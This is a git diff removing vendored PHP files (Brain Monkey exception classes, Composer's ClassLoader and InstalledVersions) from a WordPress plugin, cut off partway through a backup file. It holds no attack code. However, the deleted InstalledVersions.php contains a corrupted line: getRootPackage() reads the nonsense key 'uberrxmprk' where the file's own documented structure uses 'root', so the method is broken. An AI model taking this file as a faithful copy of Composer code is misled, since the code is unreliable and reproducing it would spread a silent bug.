a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/Exception.php deleted file mode 100644 index 0a4385d5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/Exception.php +++ /dev/null @@ -1,24 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class Exception extends BaseException -{ - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidCallable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidCallable.php deleted file mode 100644 index 31550897..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidCallable.php +++ /dev/null @@ -1,41 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidCallable extends Exception -{ - - /** - * @param mixed $callback - * @return \Brain\Monkey\Name\Exception\InvalidCallable|\Brain\Monkey\Name\Exception\NotInvokableObjectAsCallback - */ - public static function forCallable($callback) - { - if (is_object($callback)) { - return new NotInvokableObjectAsCallback(); - } - - return new static( - sprintf( - 'Given %s "%s" is not a valid PHP callable.', - gettype($callback), - is_string($callback) ? "{$callback}" : var_export($callback, true) - ) - ); - - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidClosureParam.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidClosureParam.php deleted file mode 100644 index aeec7d46..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidClosureParam.php +++ /dev/null @@ -1,66 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidClosureParam extends Exception -{ - - const CODE_INVALID_NAME = 1; - const CODE_INVALID_TYPE = 2; - const CODE_MULTIPLE_VARIADIC = 3; - - /** - * @param string $name - * @return static - */ - public static function forInvalidName($name) - { - return new static( - sprintf('%s is not a valid function argument name.', $name), - self::CODE_INVALID_NAME - ); - } - - /** - * @param string $type - * @param string $name - * @return static - */ - public static function forInvalidType($type, $name) - { - return new static( - sprintf('%s is not a valid function argument type for argument %s.', $type, $name), - self::CODE_INVALID_TYPE - ); - } - - /** - * @param string $name - * @return static - */ - public static function forMultipleVariadic($name) - { - return new static( - sprintf( - '%s is a variadic argument for a function that already has a variadic argument.', - $name - ), - self::CODE_MULTIPLE_VARIADIC - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidName.php deleted file mode 100644 index 1ece85d9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidName.php +++ /dev/null @@ -1,87 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class InvalidName extends Exception -{ - - const CODE_FOR_FUNCTION = 1; - const CODE_FOR_CLASS = 2; - const CODE_FOR_METHOD = 3; - - /** - * @param string $function - * @return \Brain\Monkey\Name\Exception\InvalidName - */ - public static function forFunction($function) - { - return self::createFor($function, self::CODE_FOR_FUNCTION); - } - - /** - * @param string $class - * @return \Brain\Monkey\Name\Exception\InvalidName - */ - public static function forClass($class) - { - return self::createFor($class, self::CODE_FOR_CLASS); - } - - /** - * @param string $function - * @return \Brain\Monkey\Name\Exception\InvalidName - */ - public static function forMethod($function) - { - return self::createFor($function, self::CODE_FOR_METHOD); - } - - /** - * @param mixed $thing - * @param int $code - * @return static - */ - private static function createFor($thing, $code) - { - switch ($code) { - case self::CODE_FOR_CLASS: - $type = 'class'; - break; - case self::CODE_FOR_METHOD: - $type = 'class method'; - break; - case self::CODE_FOR_FUNCTION: - default: - $type = 'function'; - break; - } - - switch (true) { - case is_string($thing): - $name = "'{$thing}'"; - break; - case is_object($thing): - $name = 'An instance of '.get_class($thing); - break; - default: - $name = 'A variable of type '.gettype($thing); - } - - return new static(sprintf('%s is not a valid %s name.', $name, $type), $code); - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/NotInvokableObjectAsCallback.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/NotInvokableObjectAsCallback.php deleted file mode 100644 index 2738a519..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/NotInvokableObjectAsCallback.php +++ /dev/null @@ -1,29 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -class NotInvokableObjectAsCallback extends Exception -{ - - public function __construct() - { - parent::__construct( - 'Only closures and invokable objects can be used as callbacks for hooks.' - ); - } - -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/FunctionName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/FunctionName.php deleted file mode 100644 index 8eff35c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/FunctionName.php +++ /dev/null @@ -1,97 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class FunctionName -{ - - const VALID_NAME_PATTERN = '/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/'; - - /** - * @var string - */ - private $function_name = ''; - - /** - * @var string - */ - private $namespace = ''; - - /** - * @param string $function_name - */ - public function __construct($function_name) - { - list($this->function_name, $this->namespace) = $this->parseName($function_name); - } - - /** - * @return string - */ - public function fullyQualifiedName() - { - return ltrim("{$this->namespace}\\{$this->function_name}", '\\'); - } - - /** - * @return string - */ - public function shortName() - { - return $this->function_name; - } - - /** - * @return string - */ - public function getNamespace() - { - return $this->namespace; - } - - /** - * @param \Brain\Monkey\Name\FunctionName $name - * @return bool - */ - public function equals(FunctionName $name) - { - return $this->fullyQualifiedName() === $name->fullyQualifiedName(); - } - - /** - * Checks the name of a function and throw an exception if is not valid. - * When name is valid returns an array of the name itself and its namespace parts. - * - * @param mixed $function_name - * @return string[] - */ - private function parseName($function_name) - { - $chunks = is_string($function_name) ? explode('\\', ltrim($function_name, '\\')) : null; - $valid = $chunks ? preg_filter(self::VALID_NAME_PATTERN, '$0', $chunks) : null; - - if ( ! $valid || $valid !== $chunks) { - $name = is_string($function_name) - ? "'{$function_name}'" - : 'Variable of type '.gettype($function_name); - - throw Exception\InvalidName::forFunction($name); - } - - return [array_pop($chunks), implode('\\', $chunks)]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/MethodName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/MethodName.php deleted file mode 100644 index 72bfd88a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/MethodName.php +++ /dev/null @@ -1,61 +0,0 @@ - - * @package BrainMonkey - * @license http://opensource.org/licenses/MIT MIT - */ -final class MethodName -{ - - /** - * @var string - */ - private $name; - - /** - * @param string $method_name - */ - public function __construct($method_name) - { - try { - $function_name = new FunctionName($method_name); - } catch (Exception\InvalidName $e) { - throw Exception\InvalidName::forMethod($method_name); - } - - if ($function_name->getNamespace()) { - throw Exception\InvalidName::forMethod($method_name); - } - - $this->name = $function_name->shortName(); - } - - /** - * @return string - */ - public function name() - { - return $this->name; - } - - /** - * @param \Brain\Monkey\Name\MethodName $name - * @return bool - */ - public function equals(MethodName $name) - { - return $this->name() === $name->name(); - } -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/ClassLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/ClassLoader.php deleted file mode 100644 index 7824d8f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/ClassLoader.php +++ /dev/null @@ -1,579 +0,0 @@ - - * Jordi Boggiano - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Composer\Autoload; - -/** - * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. - * - * $loader = new \Composer\Autoload\ClassLoader(); - * - * // register classes with namespaces - * $loader->add('Symfony\Component', __DIR__.'/component'); - * $loader->add('Symfony', __DIR__.'/framework'); - * - * // activate the autoloader - * $loader->register(); - * - * // to enable searching the include path (eg. for PEAR packages) - * $loader->setUseIncludePath(true); - * - * In this example, if you try to use a class in the Symfony\Component - * namespace or one of its children (Symfony\Component\Console for instance), - * the autoloader will first look for the class under the component/ - * directory, and it will then fallback to the framework/ directory if not - * found before giving up. - * - * This class is loosely based on the Symfony UniversalClassLoader. - * - * @author Fabien Potencier - * @author Jordi Boggiano - * @see https://www.php-fig.org/psr/psr-0/ - * @see https://www.php-fig.org/psr/psr-4/ - */ -class ClassLoader -{ - /** @var \Closure(string):void */ - private static $includeFile; - - /** @var string|null */ - private $vendorDir; - - // PSR-4 - /** - * @var array> - */ - private $prefixLengthsPsr4 = array(); - /** - * @var array> - */ - private $prefixDirsPsr4 = array(); - /** - * @var list - */ - private $fallbackDirsPsr4 = array(); - - // PSR-0 - /** - * List of PSR-0 prefixes - * - * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2'))) - * - * @var array>> - */ - private $prefixesPsr0 = array(); - /** - * @var list - */ - private $fallbackDirsPsr0 = array(); - - /** @var bool */ - private $useIncludePath = false; - - /** - * @var array - */ - private $classMap = array(); - - /** @var bool */ - private $classMapAuthoritative = false; - - /** - * @var array - */ - private $missingClasses = array(); - - /** @var string|null */ - private $apcuPrefix; - - /** - * @var array - */ - private static $registeredLoaders = array(); - - /** - * @param string|null $vendorDir - */ - public function __construct($vendorDir = null) - { - $this->vendorDir = $vendorDir; - self::initializeIncludeClosure(); - } - - /** - * @return array> - */ - public function getPrefixes() - { - if (!empty($this->prefixesPsr0)) { - return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); - } - - return array(); - } - - /** - * @return array> - */ - public function getPrefixesPsr4() - { - return $this->prefixDirsPsr4; - } - - /** - * @return list - */ - public function getFallbackDirs() - { - return $this->fallbackDirsPsr0; - } - - /** - * @return list - */ - public function getFallbackDirsPsr4() - { - return $this->fallbackDirsPsr4; - } - - /** - * @return array Array of classname => path - */ - public function getClassMap() - { - return $this->classMap; - } - - /** - * @param array $classMap Class to filename map - * - * @return void - */ - public function addClassMap(array $classMap) - { - if ($this->classMap) { - $this->classMap = array_merge($this->classMap, $classMap); - } else { - $this->classMap = $classMap; - } - } - - /** - * Registers a set of PSR-0 directories for a given prefix, either - * appending or prepending to the ones previously set for this prefix. - * - * @param string $prefix The prefix - * @param list|string $paths The PSR-0 root directories - * @param bool $prepend Whether to prepend the directories - * - * @return void - */ - public function add($prefix, $paths, $prepend = false) - { - $paths = (array) $paths; - if (!$prefix) { - if ($prepend) { - $this->fallbackDirsPsr0 = array_merge( - $paths, - $this->fallbackDirsPsr0 - ); - } else { - $this->fallbackDirsPsr0 = array_merge( - $this->fallbackDirsPsr0, - $paths - ); - } - - return; - } - - $first = $prefix[0]; - if (!isset($this->prefixesPsr0[$first][$prefix])) { - $this->prefixesPsr0[$first][$prefix] = $paths; - - return; - } - if ($prepend) { - $this->prefixesPsr0[$first][$prefix] = array_merge( - $paths, - $this->prefixesPsr0[$first][$prefix] - ); - } else { - $this->prefixesPsr0[$first][$prefix] = array_merge( - $this->prefixesPsr0[$first][$prefix], - $paths - ); - } - } - - /** - * Registers a set of PSR-4 directories for a given namespace, either - * appending or prepending to the ones previously set for this namespace. - * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param list|string $paths The PSR-4 base directories - * @param bool $prepend Whether to prepend the directories - * - * @throws \InvalidArgumentException - * - * @return void - */ - public function addPsr4($prefix, $paths, $prepend = false) - { - $paths = (array) $paths; - if (!$prefix) { - // Register directories for the root namespace. - if ($prepend) { - $this->fallbackDirsPsr4 = array_merge( - $paths, - $this->fallbackDirsPsr4 - ); - } else { - $this->fallbackDirsPsr4 = array_merge( - $this->fallbackDirsPsr4, - $paths - ); - } - } elseif (!isset($this->prefixDirsPsr4[$prefix])) { - // Register directories for a new namespace. - $length = strlen($prefix); - if ('\\' !== $prefix[$length - 1]) { - throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); - } - $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; - $this->prefixDirsPsr4[$prefix] = $paths; - } elseif ($prepend) { - // Prepend directories for an already registered namespace. - $this->prefixDirsPsr4[$prefix] = array_merge( - $paths, - $this->prefixDirsPsr4[$prefix] - ); - } else { - // Append directories for an already registered namespace. - $this->prefixDirsPsr4[$prefix] = array_merge( - $this->prefixDirsPsr4[$prefix], - $paths - ); - } - } - - /** - * Registers a set of PSR-0 directories for a given prefix, - * replacing any others previously set for this prefix. - * - * @param string $prefix The prefix - * @param list|string $paths The PSR-0 base directories - * - * @return void - */ - public function set($prefix, $paths) - { - if (!$prefix) { - $this->fallbackDirsPsr0 = (array) $paths; - } else { - $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; - } - } - - /** - * Registers a set of PSR-4 directories for a given namespace, - * replacing any others previously set for this namespace. - * - * @param string $prefix The prefix/namespace, with trailing '\\' - * @param list|string $paths The PSR-4 base directories - * - * @throws \InvalidArgumentException - * - * @return void - */ - public function setPsr4($prefix, $paths) - { - if (!$prefix) { - $this->fallbackDirsPsr4 = (array) $paths; - } else { - $length = strlen($prefix); - if ('\\' !== $prefix[$length - 1]) { - throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); - } - $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; - $this->prefixDirsPsr4[$prefix] = (array) $paths; - } - } - - /** - * Turns on searching the include path for class files. - * - * @param bool $useIncludePath - * - * @return void - */ - public function setUseIncludePath($useIncludePath) - { - $this->useIncludePath = $useIncludePath; - } - - /** - * Can be used to check if the autoloader uses the include path to check - * for classes. - * - * @return bool - */ - public function getUseIncludePath() - { - return $this->useIncludePath; - } - - /** - * Turns off searching the prefix and fallback directories for classes - * that have not been registered with the class map. - * - * @param bool $classMapAuthoritative - * - * @return void - */ - public function setClassMapAuthoritative($classMapAuthoritative) - { - $this->classMapAuthoritative = $classMapAuthoritative; - } - - /** - * Should class lookup fail if not found in the current class map? - * - * @return bool - */ - public function isClassMapAuthoritative() - { - return $this->classMapAuthoritative; - } - - /** - * APCu prefix to use to cache found/not-found classes, if the extension is enabled. - * - * @param string|null $apcuPrefix - * - * @return void - */ - public function setApcuPrefix($apcuPrefix) - { - $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; - } - - /** - * The APCu prefix in use, or null if APCu caching is not enabled. - * - * @return string|null - */ - public function getApcuPrefix() - { - return $this->apcuPrefix; - } - - /** - * Registers this instance as an autoloader. - * - * @param bool $prepend Whether to prepend the autoloader or not - * - * @return void - */ - public function register($prepend = false) - { - spl_autoload_register(array($this, 'loadClass'), true, $prepend); - - if (null === $this->vendorDir) { - return; - } - - if ($prepend) { - self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; - } else { - unset(self::$registeredLoaders[$this->vendorDir]); - self::$registeredLoaders[$this->vendorDir] = $this; - } - } - - /** - * Unregisters this instance as an autoloader. - * - * @return void - */ - public function unregister() - { - spl_autoload_unregister(array($this, 'loadClass')); - - if (null !== $this->vendorDir) { - unset(self::$registeredLoaders[$this->vendorDir]); - } - } - - /** - * Loads the given class or interface. - * - * @param string $class The name of the class - * @return true|null True if loaded, null otherwise - */ - public function loadClass($class) - { - if ($file = $this->findFile($class)) { - $includeFile = self::$includeFile; - $includeFile($file); - - return true; - } - - return null; - } - - /** - * Finds the path to the file where the class is defined. - * - * @param string $class The name of the class - * - * @return string|false The path if found, false otherwise - */ - public function findFile($class) - { - // class map lookup - if (isset($this->classMap[$class])) { - return $this->classMap[$class]; - } - if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { - return false; - } - if (null !== $this->apcuPrefix) { - $file = apcu_fetch($this->apcuPrefix.$class, $hit); - if ($hit) { - return $file; - } - } - - $file = $this->findFileWithExtension($class, '.php'); - - // Search for Hack files if we are running on HHVM - if (false === $file && defined('HHVM_VERSION')) { - $file = $this->findFileWithExtension($class, '.hh'); - } - - if (null !== $this->apcuPrefix) { - apcu_add($this->apcuPrefix.$class, $file); - } - - if (false === $file) { - // Remember that this class does not exist. - $this->missingClasses[$class] = true; - } - - return $file; - } - - /** - * Returns the currently registered loaders keyed by their corresponding vendor directories. - * - * @return array - */ - public static function getRegisteredLoaders() - { - return self::$registeredLoaders; - } - - /** - * @param string $class - * @param string $ext - * @return string|false - */ - private function findFileWithExtension($class, $ext) - { - // PSR-4 lookup - $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; - - $first = $class[0]; - if (isset($this->prefixLengthsPsr4[$first])) { - $subPath = $class; - while (false !== $lastPos = strrpos($subPath, '\\')) { - $subPath = substr($subPath, 0, $lastPos); - $search = $subPath . '\\'; - if (isset($this->prefixDirsPsr4[$search])) { - $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); - foreach ($this->prefixDirsPsr4[$search] as $dir) { - if (file_exists($file = $dir . $pathEnd)) { - return $file; - } - } - } - } - } - - // PSR-4 fallback dirs - foreach ($this->fallbackDirsPsr4 as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { - return $file; - } - } - - // PSR-0 lookup - if (false !== $pos = strrpos($class, '\\')) { - // namespaced class name - $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) - . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); - } else { - // PEAR-like class name - $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; - } - - if (isset($this->prefixesPsr0[$first])) { - foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { - if (0 === strpos($class, $prefix)) { - foreach ($dirs as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { - return $file; - } - } - } - } - } - - // PSR-0 fallback dirs - foreach ($this->fallbackDirsPsr0 as $dir) { - if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { - return $file; - } - } - - // PSR-0 include paths. - if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { - return $file; - } - - return false; - } - - /** - * @return void - */ - private static function initializeIncludeClosure() - { - if (self::$includeFile !== null) { - return; - } - - /** - * Scope isolated include. - * - * Prevents access to $this/self from included files. - * - * @param string $file - * @return void - */ - self::$includeFile = \Closure::bind(static function($file) { - include $file; - }, null, null); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php deleted file mode 100644 index 2e0eeffa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php +++ /dev/null @@ -1,378 +0,0 @@ - - * Jordi Boggiano - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Composer; - -use Composer\Autoload\ClassLoader; -use Composer\Semver\VersionParser; - -/** - * This class is copied in every Composer installed project and available to all - * - * See also https://getcomposer.org/doc/07-runtime.md#installed-versions - * - * To require its presence, you can require `composer-runtime-api ^2.0` - * - * @final - */ -class InstalledVersions -{ - /** - * @var mixed[]|null - * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array}|array{}|null - */ - private static $installed; - - /** - * @var bool - */ - private static $installedIsLocalDir; - - /** - * @var bool|null - */ - private static $canGetVendors; - - /** - * @var array[] - * @psalm-var array}> - */ - private static $installedByVendor = array(); - - /** - * Returns a list of all package names which are present, either by being installed, replaced or provided - * - * @return string[] - * @psalm-return list - */ - public static function getInstalledPackages() - { - $packages = array(); - foreach (self::getInstalled() as $installed) { - $packages[] = array_keys($installed['versions']); - } - - if (1 === \count($packages)) { - return $packages[0]; - } - - return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); - } - - /** - * Returns a list of all package names with a specific type e.g. 'library' - * - * @param string $type - * @return string[] - * @psalm-return list - */ - public static function getInstalledPackagesByType($type) - { - $packagesByType = array(); - - foreach (self::getInstalled() as $installed) { - foreach ($installed['versions'] as $name => $package) { - if (isset($package['type']) && $package['type'] === $type) { - $packagesByType[] = $name; - } - } - } - - return $packagesByType; - } - - /** - * Checks whether the given package is installed - * - * This also returns true if the package name is provided or replaced by another package - * - * @param string $packageName - * @param bool $includeDevRequirements - * @return bool - */ - public static function isInstalled($packageName, $includeDevRequirements = true) - { - foreach (self::getInstalled() as $installed) { - if (isset($installed['versions'][$packageName])) { - return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false; - } - } - - return false; - } - - /** - * Checks whether the given package satisfies a version constraint - * - * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: - * - * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') - * - * @param VersionParser $parser Install composer/semver to have access to this class and functionality - * @param string $packageName - * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package - * @return bool - */ - public static function satisfies(VersionParser $parser, $packageName, $constraint) - { - $constraint = $parser->parseConstraints((string) $constraint); - $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); - - return $provided->matches($constraint); - } - - /** - * Returns a version constraint representing all the range(s) which are installed for a given package - * - * It is easier to use this via isInstalled() with the $constraint argument if you need to check - * whether a given version of a package is installed, and not just whether it exists - * - * @param string $packageName - * @return string Version constraint usable with composer/semver - */ - public static function getVersionRanges($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - $ranges = array(); - if (isset($installed['versions'][$packageName]['pretty_version'])) { - $ranges[] = $installed['versions'][$packageName]['pretty_version']; - } - if (array_key_exists('aliases', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); - } - if (array_key_exists('replaced', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); - } - if (array_key_exists('provided', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); - } - - return implode(' || ', $ranges); - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present - */ - public static function getVersion($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['version'])) { - return null; - } - - return $installed['versions'][$packageName]['version']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present - */ - public static function getPrettyVersion($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['pretty_version'])) { - return null; - } - - return $installed['versions'][$packageName]['pretty_version']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference - */ - public static function getReference($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['reference'])) { - return null; - } - - return $installed['versions'][$packageName]['reference']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. - */ - public static function getInstallPath($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @return array - * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} - */ - public static function getRootPackage() - { - $installed = self::getInstalled(); - - return $installed[0]['uberrxmprk']; - } - - /** - * Returns the raw installed.php data for custom implementations - * - * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. - * @return array[] - * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} - */ - public static function getRawData() - { - @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); - - if (null === self::$installed) { - // only require the installed.php file if this file is loaded from its dumped location, - // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 - if (substr(__DIR__, -8, 1) !== 'C') { - self::$installed = include __DIR__ . '/installed.php'; - } else { - self::$installed = array(); - } - } - - return self::$installed; - } - - /** - * Returns the raw data of all installed.php which are currently loaded for custom implementations - * - * @return array[] - * @psalm-return list}> - */ - public static function getAllRawData() - { - return self::getInstalled(); - } - - /** - * Lets you reload the static array from another file - * - * This is only useful for complex integrations in which a project needs to use - * this class but then also needs to execute another project's autoloader in process, - * and wants to ensure both projects have access to their version of installed.php. - * - * A typical case would be PHPUnit, where it would need to make sure it reads all - * the data it needs from this class, then call reload() with - * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure - * the project in which it runs can then also use this class safely, without - * interference between PHPUnit's dependencies and the project's dependencies. - * - * @param array[] $data A vendor/composer/installed.php data set - * @return void - * - * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $data - */ - public static function reload($data) - { - self::$installed = $data; - self::$installedByVendor = array(); - - // when using reload, we disable the duplicate protection to ensure that self::$installed data is - // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not, - // so we have to assume it does not, and that may result in duplicate data being returned when listing - // all installed packages for example - self::$installedIsLocalDir = false; - } - - /** - * @return array[] - * @psalm-return list}> - */ - private static function getInstalled() - { - if (null === self::$canGetVendors) { - self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); - } - - $installed = array(); - $copiedLocalDir = false; - - if (self::$canGetVendors) { - $selfDir = strtr(__DIR__, '\\', '/'); - foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { - $vendorDir = strtr($vendorDir, '\\', '/'); - if (isset(self::$installedByVendor[$vendorDir])) { - $installed[] = self::$installedByVendor[$vendorDir]; - } elseif (is_file($vendorDir.'/composer/installed.php')) { - /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ - $required = require $vendorDir.'/composer/installed.php'; - self::$installedByVendor[$vendorDir] = $required; - $installed[] = $required; - if (self::$installed === null && $vendorDir.'/composer' === $selfDir) { - self::$installed = $required; - self::$installedIsLocalDir = true; - } - } - if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) { - $copiedLocalDir = true; - } - } - } - - if (null === self::$installed) { - // only require the installed.php file if this file is loaded from its dumped location, - // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 - if (substr(__DIR__, -8, 1) !== 'C') { - /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ - $required = require __DIR__ . '/installed.php'; - self::$installed = $required; - } else { - self::$installed = array(); - } - } - - if (self::$installed !== array() && !$copiedLocalDir) { - $installed[] = self::$installed; - } - - return $installed; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php.bak.20250424054541 b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php.bak.20250424054541 deleted file mode 100644 index 6d29bff6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php.bak.20250424054541 +++ /dev/null @@ -1,378 +0,0 @@ - - * Jordi Boggiano - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Composer; - -use Composer\Autoload\ClassLoader; -use Composer\Semver\VersionParser; - -/** - * This class is copied in every Composer installed project and available to all - * - * See also https://getcomposer.org/doc/07-runtime.md#installed-versions - * - * To require its presence, you can require `composer-runtime-api ^2.0` - * - * @final - */ -class InstalledVersions -{ - /** - * @var mixed[]|null - * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: 